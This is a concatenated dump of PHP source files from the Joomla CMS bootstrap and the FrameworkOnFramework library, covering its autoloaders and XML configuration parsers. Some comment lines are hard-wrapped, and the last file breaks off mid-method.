if (!class_exists('JLoader'))
{
require_once JPATH_PLATFORM . '/loader.php';
}
// Make sure that the Joomla Platform has been successfully loaded.
if (!class_exists('JLoader'))
{
throw new RuntimeException('Joomla Platform not loaded.');
}
// Register the library base path for CMS libraries.
JLoader::registerPrefix('J', JPATH_PLATFORM . '/cms',
false, true);
/** @note This will be loaded through composer in Joomla 4 */
JLoader::registerNamespace('Joomla\\CMS', JPATH_PLATFORM .
'/src', false, false, 'psr4');
// Create the Composer autoloader
$loader = require JPATH_LIBRARIES . '/vendor/autoload.php';
$loader->unregister();
// Decorate Composer autoloader
spl_autoload_register(array(new JClassLoader($loader),
'loadClass'), true, true);
// Register the class aliases for Framework classes that have replaced
their Platform equivalents
require_once JPATH_LIBRARIES . '/classmap.php';
// Suppress phar stream wrapper for non .phar files
$behavior = new \TYPO3\PharStreamWrapper\Behavior;
\TYPO3\PharStreamWrapper\Manager::initialize(
$behavior->withAssertion(new
\TYPO3\PharStreamWrapper\Interceptor\PharExtensionInterceptor)
);
if (in_array('phar', stream_get_wrappers()))
{
stream_wrapper_unregister('phar');
stream_wrapper_register('phar',
'TYPO3\\PharStreamWrapper\\PharStreamWrapper');
}
// Define the Joomla version if not already defined.
if (!defined('JVERSION'))
{
$jversion = new JVersion;
define('JVERSION', $jversion->getShortVersion());
}
// Ensure FOF autoloader included - needed for things like content
versioning where we need to get an FOFTable Instance
if (!class_exists('FOFAutoloaderFof'))
{
include_once JPATH_LIBRARIES . '/fof/include.php';
}
// Register a handler for uncaught exceptions that shows a pretty error
page when possible
set_exception_handler(array('JErrorPage', 'render'));
// Set up the message queue logger for web requests
if (array_key_exists('REQUEST_METHOD', $_SERVER))
{
JLog::addLogger(array('logger' => 'messagequeue'),
JLog::ALL, array('jerror'));
}
// Register JArrayHelper due to JRegistry moved to composer's vendor
folder
JLoader::register('JArrayHelper', JPATH_PLATFORM .
'/joomla/utilities/arrayhelper.php');
// Register the Crypto lib
JLoader::register('Crypto', JPATH_PLATFORM .
'/php-encryption/Crypto.php');
// Register classes where the names have been changed to fit the autoloader
rules
// @deprecated 4.0
JLoader::register('JInstallerComponent', JPATH_PLATFORM .
'/cms/installer/adapter/component.php');
JLoader::register('JInstallerFile', JPATH_PLATFORM .
'/cms/installer/adapter/file.php');
JLoader::register('JInstallerLanguage', JPATH_PLATFORM .
'/cms/installer/adapter/language.php');
JLoader::register('JInstallerLibrary', JPATH_PLATFORM .
'/cms/installer/adapter/library.php');
JLoader::register('JInstallerModule', JPATH_PLATFORM .
'/cms/installer/adapter/module.php');
JLoader::register('JInstallerPackage', JPATH_PLATFORM .
'/cms/installer/adapter/package.php');
JLoader::register('JInstallerPlugin', JPATH_PLATFORM .
'/cms/installer/adapter/plugin.php');
JLoader::register('JInstallerTemplate', JPATH_PLATFORM .
'/cms/installer/adapter/template.php');
JLoader::register('JExtension', JPATH_PLATFORM .
'/cms/installer/extension.php');
JLoader::registerAlias('JAdministrator',
'JApplicationAdministrator');
JLoader::registerAlias('JSite', 'JApplicationSite');
// Can be removed when the move of all core fields to namespace is finished
\Joomla\CMS\Form\FormHelper::addFieldPath(JPATH_LIBRARIES .
'/joomla/form/fields');
\Joomla\CMS\Form\FormHelper::addRulePath(JPATH_LIBRARIES .
'/joomla/form/rule');
\Joomla\CMS\Form\FormHelper::addRulePath(JPATH_LIBRARIES .
'/joomla/form/rules');
\Joomla\CMS\Form\FormHelper::addFormPath(JPATH_LIBRARIES .
'/joomla/form/forms');
\Joomla\CMS\Form\FormHelper::addFieldPath(JPATH_LIBRARIES .
'/cms/form/field');
\Joomla\CMS\Form\FormHelper::addRulePath(JPATH_LIBRARIES .
'/cms/form/rule');
<?php
/**
* @package FrameworkOnFramework
* @subpackage autoloader
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2, or later
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
defined('FOF_INCLUDED') or die();
/**
* An autoloader for FOF-powered components. It allows the autoloading of
* various classes related to the operation of a component, from
Controllers
* and Models to Helpers and Fields. If a class doesn't exist, it will
be
* created on the fly.
*
* @package FrameworkOnFramework
* @subpackage autoloader
* @since 2.1
*/
class FOFAutoloaderComponent
{
/**
* An instance of this autoloader
*
* @var FOFAutoloaderComponent
*/
public static $autoloader = null;
/**
* The path to the FOF root directory
*
* @var string
*/
public static $fofPath = null;
/**
* An array holding component names and their FOF-ness status
*
* @var array
*/
protected static $fofComponents = array();
/**
* Initialise this autoloader
*
* @return FOFAutoloaderComponent
*/
public static function init()
{
if (self::$autoloader == null)
{
self::$autoloader = new self;
}
return self::$autoloader;
}
/**
* Public constructor. Registers the autoloader with PHP.
*/
public function __construct()
{
self::$fofPath = realpath(__DIR__ . '/../');
spl_autoload_register(array($this,'autoload_fof_controller'));
spl_autoload_register(array($this,'autoload_fof_model'));
spl_autoload_register(array($this,'autoload_fof_view'));
spl_autoload_register(array($this,'autoload_fof_table'));
spl_autoload_register(array($this,'autoload_fof_helper'));
spl_autoload_register(array($this,'autoload_fof_toolbar'));
spl_autoload_register(array($this,'autoload_fof_field'));
}
/**
* Returns true if this is a FOF-powered component, i.e. if it has a
fof.xml
* file in its main directory.
*
* @param string $component The component's name
*
* @return boolean
*/
public function isFOFComponent($component)
{
if (!isset($fofComponents[$component]))
{
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($component);
$fofComponents[$component] =
file_exists($componentPaths['admin'] . '/fof.xml');
}
return $fofComponents[$component];
}
/**
* Creates class aliases. On systems where eval() is enabled it creates a
* real class. On other systems it merely creates an alias. The eval()
* method is preferred as class_aliases result in the name of the class
* being instantiated not being available, making it impossible to create
* a class instance without passing a $config array :(
*
* @param string $original The name of the original (existing) class
* @param string $alias The name of the new (aliased) class
* @param boolean $autoload Should I try to autoload the $original
class?
*
* @return void
*/
private function class_alias($original, $alias, $autoload = true)
{
static $hasEval = null;
if (is_null($hasEval))
{
$hasEval = false;
if (function_exists('ini_get'))
{
$disabled_functions = ini_get('disabled_functions');
if (!is_string($disabled_functions))
{
$hasEval = true;
}
else
{
$disabled_functions = explode(',', $disabled_functions);
$hasEval = !in_array('eval', $disabled_functions);
}
}
}
if (!class_exists($original, $autoload))
{
return;
}
if ($hasEval)
{
$phpCode = "class $alias extends $original {}";
eval($phpCode);
}
else
{
class_alias($original, $alias, $autoload);
}
}
/**
* Autoload Controllers
*
* @param string $class_name The name of the class to load
*
* @return void
*/
public function autoload_fof_controller($class_name)
{
FOFPlatform::getInstance()->logDebug(__METHOD__ . "()
autoloading $class_name");
static $isCli = null, $isAdmin = null;
if (is_null($isCli) && is_null($isAdmin))
{
list($isCli, $isAdmin) = FOFDispatcher::isCliAdmin();
}
if (strpos($class_name, 'Controller') === false)
{
return;
}
// Change from camel cased into a lowercase array
$class_modified = preg_replace('/(\s)+/', '_',
$class_name);
$class_modified =
strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1',
$class_modified));
$parts = explode('_', $class_modified);
// We need three parts in the name
if (count($parts) != 3)
{
return;
}
// We need the second part to be "controller"
if ($parts[1] != 'controller')
{
return;
}
// Get the information about this class
$component_raw = $parts[0];
$component = 'com_' . $parts[0];
$view = $parts[2];
// Is this an FOF 2.1 or later component?
if (!$this->isFOFComponent($component))
{
return;
}
// Get the alternate view and class name (opposite singular/plural name)
$alt_view = FOFInflector::isSingular($view) ?
FOFInflector::pluralize($view) : FOFInflector::singularize($view);
$alt_class = FOFInflector::camelize($component_raw .
'_controller_' . $alt_view);
// Get the component's paths
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($component);
// Get the proper and alternate paths and file names
$file = "/controllers/$view.php";
$altFile = "/controllers/$alt_view.php";
$path = $componentPaths['main'];
$altPath = $componentPaths['alt'];
// Try to find the proper class in the proper path
if (file_exists($path . $file))
{
@include_once $path . $file;
}
// Try to find the proper class in the alternate path
if (!class_exists($class_name) && file_exists($altPath . $file))
{
@include_once $altPath . $file;
}
// Try to find the alternate class in the proper path
if (!class_exists($alt_class) && file_exists($path . $altFile))
{
@include_once $path . $altFile;
}
// Try to find the alternate class in the alternate path
if (!class_exists($alt_class) && file_exists($altPath .
$altFile))
{
@include_once $altPath . $altFile;
}
// If the alternate class exists just map the class to the alternate
if (!class_exists($class_name) && class_exists($alt_class))
{
$this->class_alias($alt_class, $class_name);
}
// No class found? Map to FOFController
elseif (!class_exists($class_name))
{
if ($view != 'default')
{
$defaultClass = FOFInflector::camelize($component_raw .
'_controller_default');
$this->class_alias($defaultClass, $class_name);
}
else
{
$this->class_alias('FOFController', $class_name);
}
}
}
/**
* Autoload Models
*
* @param string $class_name The name of the class to load
*
* @return void
*/
public function autoload_fof_model($class_name)
{
FOFPlatform::getInstance()->logDebug(__METHOD__ . "()
autoloading $class_name");
static $isCli = null, $isAdmin = null;
if (is_null($isCli) && is_null($isAdmin))
{
list($isCli, $isAdmin) = FOFDispatcher::isCliAdmin();
}
if (strpos($class_name, 'Model') === false)
{
return;
}
// Change from camel cased into a lowercase array
$class_modified = preg_replace('/(\s)+/', '_',
$class_name);
$class_modified =
strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1',
$class_modified));
$parts = explode('_', $class_modified);
// We need three parts in the name
if (count($parts) != 3)
{
return;
}
// We need the second part to be "model"
if ($parts[1] != 'model')
{
return;
}
// Get the information about this class
$component_raw = $parts[0];
$component = 'com_' . $parts[0];
$view = $parts[2];
// Is this an FOF 2.1 or later component?
if (!$this->isFOFComponent($component))
{
return;
}
// Get the alternate view and class name (opposite singular/plural name)
$alt_view = FOFInflector::isSingular($view) ?
FOFInflector::pluralize($view) : FOFInflector::singularize($view);
$alt_class = FOFInflector::camelize($component_raw . '_model_'
. $alt_view);
// Get the proper and alternate paths and file names
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($component);
$file = "/models/$view.php";
$altFile = "/models/$alt_view.php";
$path = $componentPaths['main'];
$altPath = $componentPaths['alt'];
// Try to find the proper class in the proper path
if (file_exists($path . $file))
{
@include_once $path . $file;
}
// Try to find the proper class in the alternate path
if (!class_exists($class_name) && file_exists($altPath . $file))
{
@include_once $altPath . $file;
}
// Try to find the alternate class in the proper path
if (!class_exists($alt_class) && file_exists($path . $altFile))
{
@include_once $path . $altFile;
}
// Try to find the alternate class in the alternate path
if (!class_exists($alt_class) && file_exists($altPath .
$altFile))
{
@include_once $altPath . $altFile;
}
// If the alternate class exists just map the class to the alternate
if (!class_exists($class_name) && class_exists($alt_class))
{
$this->class_alias($alt_class, $class_name);
}
// No class found? Map to FOFModel
elseif (!class_exists($class_name))
{
if ($view != 'default')
{
$defaultClass = FOFInflector::camelize($component_raw .
'_model_default');
$this->class_alias($defaultClass, $class_name);
}
else
{
$this->class_alias('FOFModel', $class_name, true);
}
}
}
/**
* Autoload Views
*
* @param string $class_name The name of the class to load
*
* @return void
*/
public function autoload_fof_view($class_name)
{
FOFPlatform::getInstance()->logDebug(__METHOD__ . "()
autoloading $class_name");
static $isCli = null, $isAdmin = null;
if (is_null($isCli) && is_null($isAdmin))
{
list($isCli, $isAdmin) = FOFDispatcher::isCliAdmin();
}
if (strpos($class_name, 'View') === false)
{
return;
}
// Change from camel cased into a lowercase array
$class_modified = preg_replace('/(\s)+/', '_',
$class_name);
$class_modified =
strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1',
$class_modified));
$parts = explode('_', $class_modified);
// We need at least three parts in the name
if (count($parts) < 3)
{
return;
}
// We need the second part to be "view"
if ($parts[1] != 'view')
{
return;
}
// Get the information about this class
$component_raw = $parts[0];
$component = 'com_' . $parts[0];
$view = $parts[2];
if (count($parts) > 3)
{
$format = $parts[3];
}
else
{
$input = new FOFInput;
$format = $input->getCmd('format', 'html',
'cmd');
}
// Is this an FOF 2.1 or later component?
if (!$this->isFOFComponent($component))
{
return;
}
// Get the alternate view and class name (opposite singular/plural name)
$alt_view = FOFInflector::isSingular($view) ?
FOFInflector::pluralize($view) : FOFInflector::singularize($view);
$alt_class = FOFInflector::camelize($component_raw . '_view_' .
$alt_view);
// Get the proper and alternate paths and file names
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($component);
$protoFile = "/models/$view";
$protoAltFile = "/models/$alt_view";
$path = $componentPaths['main'];
$altPath = $componentPaths['alt'];
$formats = array($format);
if ($format != 'html')
{
$formats[] = 'raw';
}
foreach ($formats as $currentFormat)
{
$file = $protoFile . '.' . $currentFormat . '.php';
$altFile = $protoAltFile . '.' . $currentFormat .
'.php';
// Try to find the proper class in the proper path
if (!class_exists($class_name) && file_exists($path . $file))
{
@include_once $path . $file;
}
// Try to find the proper class in the alternate path
if (!class_exists($class_name) && file_exists($altPath . $file))
{
@include_once $altPath . $file;
}
// Try to find the alternate class in the proper path
if (!class_exists($alt_class) && file_exists($path . $altFile))
{
@include_once $path . $altFile;
}
// Try to find the alternate class in the alternate path
if (!class_exists($alt_class) && file_exists($altPath .
$altFile))
{
@include_once $altPath . $altFile;
}
}
// If the alternate class exists just map the class to the alternate
if (!class_exists($class_name) && class_exists($alt_class))
{
$this->class_alias($alt_class, $class_name);
}
// No class found? Map to FOFModel
elseif (!class_exists($class_name))
{
if ($view != 'default')
{
$defaultClass = FOFInflector::camelize($component_raw .
'_view_default');
$this->class_alias($defaultClass, $class_name);
}
else
{
if (!file_exists(self::$fofPath . '/view/' . $format .
'.php'))
{
$default_class = 'FOFView';
}
else
{
$default_class = 'FOFView' . ucfirst($format);
}
$this->class_alias($default_class, $class_name, true);
}
}
}
/**
* Autoload Tables
*
* @param string $class_name The name of the class to load
*
* @return void
*/
public function autoload_fof_table($class_name)
{
FOFPlatform::getInstance()->logDebug(__METHOD__ . "()
autoloading $class_name");
static $isCli = null, $isAdmin = null;
if (is_null($isCli) && is_null($isAdmin))
{
list($isCli, $isAdmin) = FOFDispatcher::isCliAdmin();
}
if (strpos($class_name, 'Table') === false)
{
return;
}
// Change from camel cased into a lowercase array
$class_modified = preg_replace('/(\s)+/', '_',
$class_name);
$class_modified =
strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1',
$class_modified));
$parts = explode('_', $class_modified);
// We need three parts in the name
if (count($parts) != 3)
{
return;
}
// We need the second part to be "model"
if ($parts[1] != 'table')
{
return;
}
// Get the information about this class
$component_raw = $parts[0];
$component = 'com_' . $parts[0];
$view = $parts[2];
// Is this an FOF 2.1 or later component?
if (!$this->isFOFComponent($component))
{
return;
}
// Get the alternate view and class name (opposite singular/plural name)
$alt_view = FOFInflector::isSingular($view) ?
FOFInflector::pluralize($view) : FOFInflector::singularize($view);
$alt_class = FOFInflector::camelize($component_raw . '_table_'
. $alt_view);
// Get the proper and alternate paths and file names
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($component);
$file = "/tables/$view.php";
$altFile = "/tables/$alt_view.php";
$path = $componentPaths['admin'];
// Try to find the proper class in the proper path
if (file_exists($path . $file))
{
@include_once $path . $file;
}
// Try to find the alternate class in the proper path
if (!class_exists($alt_class) && file_exists($path . $altFile))
{
@include_once $path . $altFile;
}
// If the alternate class exists just map the class to the alternate
if (!class_exists($class_name) && class_exists($alt_class))
{
$this->class_alias($alt_class, $class_name);
}
// No class found? Map to FOFModel
elseif (!class_exists($class_name))
{
if ($view != 'default')
{
$defaultClass = FOFInflector::camelize($component_raw .
'_table_default');
$this->class_alias($defaultClass, $class_name);
}
else
{
$this->class_alias('FOFTable', $class_name, true);
}
}
}
/**
* Autoload Helpers
*
* @param string $class_name The name of the class to load
*
* @return void
*/
public function autoload_fof_helper($class_name)
{
FOFPlatform::getInstance()->logDebug(__METHOD__ . "()
autoloading $class_name");
static $isCli = null, $isAdmin = null;
if (is_null($isCli) && is_null($isAdmin))
{
list($isCli, $isAdmin) = FOFDispatcher::isCliAdmin();
}
if (strpos($class_name, 'Helper') === false)
{
return;
}
// Change from camel cased into a lowercase array
$class_modified = preg_replace('/(\s)+/', '_',
$class_name);
$class_modified =
strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1',
$class_modified));
$parts = explode('_', $class_modified);
// We need three parts in the name
if (count($parts) != 3)
{
return;
}
// We need the second part to be "model"
if ($parts[1] != 'helper')
{
return;
}
// Get the information about this class
$component_raw = $parts[0];
$component = 'com_' . $parts[0];
$view = $parts[2];
// Is this an FOF 2.1 or later component?
if (!$this->isFOFComponent($component))
{
return;
}
// Get the alternate view and class name (opposite singular/plural name)
$alt_view = FOFInflector::isSingular($view) ?
FOFInflector::pluralize($view) : FOFInflector::singularize($view);
$alt_class = FOFInflector::camelize($component_raw . '_helper_'
. $alt_view);
// Get the proper and alternate paths and file names
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($component);
$file = "/helpers/$view.php";
$altFile = "/helpers/$alt_view.php";
$path = $componentPaths['main'];
$altPath = $componentPaths['alt'];
// Try to find the proper class in the proper path
if (file_exists($path . $file))
{
@include_once $path . $file;
}
// Try to find the proper class in the alternate path
if (!class_exists($class_name) && file_exists($altPath . $file))
{
@include_once $altPath . $file;
}
// Try to find the alternate class in the proper path
if (!class_exists($alt_class) && file_exists($path . $altFile))
{
@include_once $path . $altFile;
}
// Try to find the alternate class in the alternate path
if (!class_exists($alt_class) && file_exists($altPath .
$altFile))
{
@include_once $altPath . $altFile;
}
// If the alternate class exists just map the class to the alternate
if (!class_exists($class_name) && class_exists($alt_class))
{
$this->class_alias($alt_class, $class_name);
}
}
/**
* Autoload Toolbars
*
* @param string $class_name The name of the class to load
*
* @return void
*/
public function autoload_fof_toolbar($class_name)
{
FOFPlatform::getInstance()->logDebug(__METHOD__ . "()
autoloading $class_name");
static $isCli = null, $isAdmin = null;
if (is_null($isCli) && is_null($isAdmin))
{
list($isCli, $isAdmin) = FOFDispatcher::isCliAdmin();
}
if (strpos($class_name, 'Toolbar') === false)
{
return;
}
// Change from camel cased into a lowercase array
$class_modified = preg_replace('/(\s)+/', '_',
$class_name);
$class_modified =
strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1',
$class_modified));
$parts = explode('_', $class_modified);
// We need two parts in the name
if (count($parts) != 2)
{
return;
}
// We need the second part to be "model"
if ($parts[1] != 'toolbar')
{
return;
}
// Get the information about this class
$component_raw = $parts[0];
$component = 'com_' . $parts[0];
$platformDirs =
FOFPlatform::getInstance()->getPlatformBaseDirs();
// Get the proper and alternate paths and file names
$file = "/components/$component/toolbar.php";
$path = ($isAdmin || $isCli) ? $platformDirs['admin'] :
$platformDirs['public'];
$altPath = ($isAdmin || $isCli) ? $platformDirs['public'] :
$platformDirs['admin'];
// Try to find the proper class in the proper path
if (file_exists($path . $file))
{
@include_once $path . $file;
}
// Try to find the proper class in the alternate path
if (!class_exists($class_name) && file_exists($altPath . $file))
{
@include_once $altPath . $file;
}
// No class found? Map to FOFToolbar
if (!class_exists($class_name))
{
$this->class_alias('FOFToolbar', $class_name, true);
}
}
/**
* Autoload Fields
*
* @param string $class_name The name of the class to load
*
* @return void
*/
public function autoload_fof_field($class_name)
{
FOFPlatform::getInstance()->logDebug(__METHOD__ . "()
autoloading $class_name");
// @todo
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage autoloader
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2, or later
*/
defined('FOF_INCLUDED') or die();
/**
* The main class autoloader for FOF itself
*
* @package FrameworkOnFramework
* @subpackage autoloader
* @since 2.1
*/
class FOFAutoloaderFof
{
/**
* An instance of this autoloader
*
* @var FOFAutoloaderFof
*/
public static $autoloader = null;
/**
* The path to the FOF root directory
*
* @var string
*/
public static $fofPath = null;
/**
* Initialise this autoloader
*
* @return FOFAutoloaderFof
*/
public static function init()
{
if (self::$autoloader == null)
{
self::$autoloader = new self;
}
return self::$autoloader;
}
/**
* Public constructor. Registers the autoloader with PHP.
*/
public function __construct()
{
self::$fofPath = realpath(__DIR__ . '/../');
spl_autoload_register(array($this,'autoload_fof_core'));
}
/**
* The actual autoloader
*
* @param string $class_name The name of the class to load
*
* @return void
*/
public function autoload_fof_core($class_name)
{
// Make sure the class has a FOF prefix
if (substr($class_name, 0, 3) != 'FOF')
{
return;
}
// Remove the prefix
$class = substr($class_name, 3);
// Change from camel cased (e.g. ViewHtml) into a lowercase array (e.g.
'view','html')
$class = preg_replace('/(\s)+/', '_', $class);
$class = strtolower(preg_replace('/(?<=\\w)([A-Z])/',
'_\\1', $class));
$class = explode('_', $class);
// First try finding in structured directory format (preferred)
$path = self::$fofPath . '/' . implode('/', $class) .
'.php';
if (@file_exists($path))
{
include_once $path;
}
// Then try the duplicate last name structured directory format (not
recommended)
if (!class_exists($class_name, false))
{
reset($class);
$lastPart = end($class);
$path = self::$fofPath . '/' . implode('/', $class)
. '/' . $lastPart . '.php';
if (@file_exists($path))
{
include_once $path;
}
}
// If it still fails, try looking in the legacy folder (used for
backwards compatibility)
if (!class_exists($class_name, false))
{
$path = self::$fofPath . '/legacy/' . implode('/',
$class) . '.php';
if (@file_exists($path))
{
include_once $path;
}
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage config
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2, or later
*/
defined('FOF_INCLUDED') or die();
/**
* Configuration parser for the dispatcher-specific settings
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFConfigDomainDispatcher implements FOFConfigDomainInterface
{
/**
* Parse the XML data, adding them to the $ret array
*
* @param SimpleXMLElement $xml The XML data of the component's
configuration area
* @param array &$ret The parsed data, in the form of a
hash array
*
* @return void
*/
public function parseDomain(SimpleXMLElement $xml, array &$ret)
{
// Initialise
$ret['dispatcher'] = array();
// Parse the dispatcher configuration
$dispatcherData = $xml->dispatcher;
// Sanity check
if (empty($dispatcherData))
{
return;
}
$options = $xml->xpath('dispatcher/option');
if (!empty($options))
{
foreach ($options as $option)
{
$key = (string) $option['name'];
$ret['dispatcher'][$key] = (string) $option;
}
}
}
/**
* Return a configuration variable
*
* @param string &$configuration Configuration variables (hashed
array)
* @param string $var The variable we want to fetch
* @param mixed $default Default value
*
* @return mixed The variable's value
*/
public function get(&$configuration, $var, $default)
{
if (isset($configuration['dispatcher'][$var]))
{
return $configuration['dispatcher'][$var];
}
else
{
return $default;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage config
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2, or later
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
defined('FOF_INCLUDED') or die();
/**
* The Interface of an FOFConfigDomain class. The methods are used to parse
and
* provision sensible information to consumers. FOFConfigProvider acts as
an
* adapter to the FOFConfigDomain classes.
*
* @package FrameworkOnFramework
* @since 2.1
*/
interface FOFConfigDomainInterface
{
/**
* Parse the XML data, adding them to the $ret array
*
* @param SimpleXMLElement $xml The XML data of the component's
configuration area
* @param array &$ret The parsed data, in the form of a
hash array
*
* @return void
*/
public function parseDomain(SimpleXMLElement $xml, array &$ret);
/**
* Return a configuration variable
*
* @param string &$configuration Configuration variables (hashed
array)
* @param string $var The variable we want to fetch
* @param mixed $default Default value
*
* @return mixed The variable's value
*/
public function get(&$configuration, $var, $default);
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage config
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2, or later
*/
defined('FOF_INCLUDED') or die();
/**
* Configuration parser for the tables-specific settings
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFConfigDomainTables implements FOFConfigDomainInterface
{
/**
* Parse the XML data, adding them to the $ret array
*
* @param SimpleXMLElement $xml The XML data of the component's
configuration area
* @param array &$ret The parsed data, in the form of a
hash array
*
* @return void
*/
public function parseDomain(SimpleXMLElement $xml, array &$ret)
{
// Initialise
$ret['tables'] = array();
// Parse table configuration
$tableData = $xml->xpath('table');
// Sanity check
if (empty($tableData))
{
return;
}
foreach ($tableData as $aTable)
{
$key = (string) $aTable['name'];
$ret['tables'][$key]['behaviors'] = (string)
$aTable->behaviors;
$ret['tables'][$key]['tablealias'] =
$aTable->xpath('tablealias');
$ret['tables'][$key]['fields'] = array();
$ret['tables'][$key]['relations'] = array();
$fieldData = $aTable->xpath('field');
if (!empty($fieldData))
{
foreach ($fieldData as $field)
{
$k = (string) $field['name'];
$ret['tables'][$key]['fields'][$k] = (string)
$field;
}
}
$relationsData = $aTable->xpath('relation');
if (!empty($relationsData))
{
foreach ($relationsData as $relationData)
{
$type = (string)$relationData['type'];
$itemName = (string)$relationData['name'];
if (empty($type) || empty($itemName))
{
continue;
}
$tableClass = (string)$relationData['tableClass'];
$localKey = (string)$relationData['localKey'];
$remoteKey = (string)$relationData['remoteKey'];
$ourPivotKey = (string)$relationData['ourPivotKey'];
$theirPivotKey = (string)$relationData['theirPivotKey'];
$pivotTable = (string)$relationData['pivotTable'];
$default = (string)$relationData['default'];
$default = !in_array($default, array('no',
'false', 0));
$relation = array(
'type' => $type,
'itemName' => $itemName,
'tableClass' => empty($tableClass) ? null : $tableClass,
'localKey' => empty($localKey) ? null : $localKey,
'remoteKey' => empty($remoteKey) ? null : $remoteKey,
'default' => $default,
);
if (!empty($ourPivotKey) || !empty($theirPivotKey) ||
!empty($pivotTable))
{
$relation['ourPivotKey'] = empty($ourPivotKey) ? null :
$ourPivotKey;
$relation['theirPivotKey'] = empty($theirPivotKey) ? null :
$theirPivotKey;
$relation['pivotTable'] = empty($pivotTable) ? null :
$pivotTable;
}
$ret['tables'][$key]['relations'][] = $relation;
}
}
}
}
/**
* Return a configuration variable
*
* @param string &$configuration Configuration variables (hashed
array)
* @param string $var The variable we want to fetch
* @param mixed $default Default value
*
* @return mixed The variable's value
*/
public function get(&$configuration, $var, $default)
{
$parts = explode('.', $var);
$view = $parts[0];
$method = 'get' . ucfirst($parts[1]);
if (!method_exists($this, $method))
{
return $default;
}
array_shift($parts);
array_shift($parts);
$ret = $this->$method($view, $configuration, $parts, $default);
return $ret;
}
/**
* Internal method to return the magic field mapping
*
* @param string $table The table for which we will be
fetching a field map
* @param array &$configuration The configuration parameters hash
array
* @param array $params Extra options; key 0 defines the
table we want to fetch
* @param string $default Default magic field mapping; empty if
not defined
*
* @return array Field map
*/
protected function getField($table, &$configuration, $params, $default
= '')
{
$fieldmap = array();
if (isset($configuration['tables']['*']) &&
isset($configuration['tables']['*']['fields']))
{
$fieldmap =
$configuration['tables']['*']['fields'];
}
if (isset($configuration['tables'][$table]) &&
isset($configuration['tables'][$table]['fields']))
{
$fieldmap = array_merge($fieldmap,
$configuration['tables'][$table]['fields']);
}
$map = $default;
if (empty($params[0]))
{
$map = $fieldmap;
}
elseif (isset($fieldmap[$params[0]]))
{
$map = $fieldmap[$params[0]];
}
return $map;
}
/**
* Internal method to get table alias
*
* @param string $table The table for which we will be
fetching table alias
* @param array &$configuration The configuration parameters hash
array
* @param array $params Extra options; key 0 defines the
table we want to fetch
* @param string $default Default table alias
*
* @return string Table alias
*/
protected function getTablealias($table, &$configuration, $params,
$default = '')
{
$tablealias = $default;
if (isset($configuration['tables']['*'])
&&
isset($configuration['tables']['*']['tablealias'])
&&
isset($configuration['tables']['*']['tablealias'][0]))
{
$tablealias = (string)
$configuration['tables']['*']['tablealias'][0];
}
if (isset($configuration['tables'][$table])
&&
isset($configuration['tables'][$table]['tablealias'])
&&
isset($configuration['tables'][$table]['tablealias'][0]))
{
$tablealias = (string)
$configuration['tables'][$table]['tablealias'][0];
}
return $tablealias;
}
/**
* Internal method to get table behaviours
*
* @param string $table The table for which we will be
fetching table alias
* @param array &$configuration The configuration parameters hash
array
* @param array $params Extra options; key 0 defines the
table we want to fetch
* @param string $default Default table alias
*
* @return string Table behaviours
*/
protected function getBehaviors($table, &$configuration, $params,
$default = '')
{
$behaviors = $default;
if (isset($configuration['tables']['*'])
&&
isset($configuration['tables']['*']['behaviors']))
{
$behaviors = (string)
$configuration['tables']['*']['behaviors'];
}
if (isset($configuration['tables'][$table])
&&
isset($configuration['tables'][$table]['behaviors']))
{
$behaviors = (string)
$configuration['tables'][$table]['behaviors'];
}
return $behaviors;
}
/**
* Internal method to get table relations
*
* @param string $table The table for which we will be
fetching table alias
* @param array &$configuration The configuration parameters hash
array
* @param array $params Extra options; key 0 defines the
table we want to fetch
* @param string $default Default table alias
*
* @return array Table relations
*/
protected function getRelations($table, &$configuration, $params,
$default = '')
{
$relations = $default;
if (isset($configuration['tables']['*'])
&&
isset($configuration['tables']['*']['relations']))
{
$relations =
$configuration['tables']['*']['relations'];
}
if (isset($configuration['tables'][$table])
&&
isset($configuration['tables'][$table]['relations']))
{
$relations =
$configuration['tables'][$table]['relations'];
}
return $relations;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage config
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2, or later
*/
defined('FOF_INCLUDED') or die();
/**
* Configuration parser for the view-specific settings
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFConfigDomainViews implements FOFConfigDomainInterface
{
/**
* Parse the XML data, adding them to the $ret array
*
* @param SimpleXMLElement $xml The XML data of the component's
configuration area
* @param array &$ret The parsed data, in the form of a
hash array
*
* @return void
*/
public function parseDomain(SimpleXMLElement $xml, array &$ret)
{
// Initialise
$ret['views'] = array();
// Parse view configuration
$viewData = $xml->xpath('view');
// Sanity check
if (empty($viewData))
{
return;
}
foreach ($viewData as $aView)
{
$key = (string) $aView['name'];
// Parse ACL options
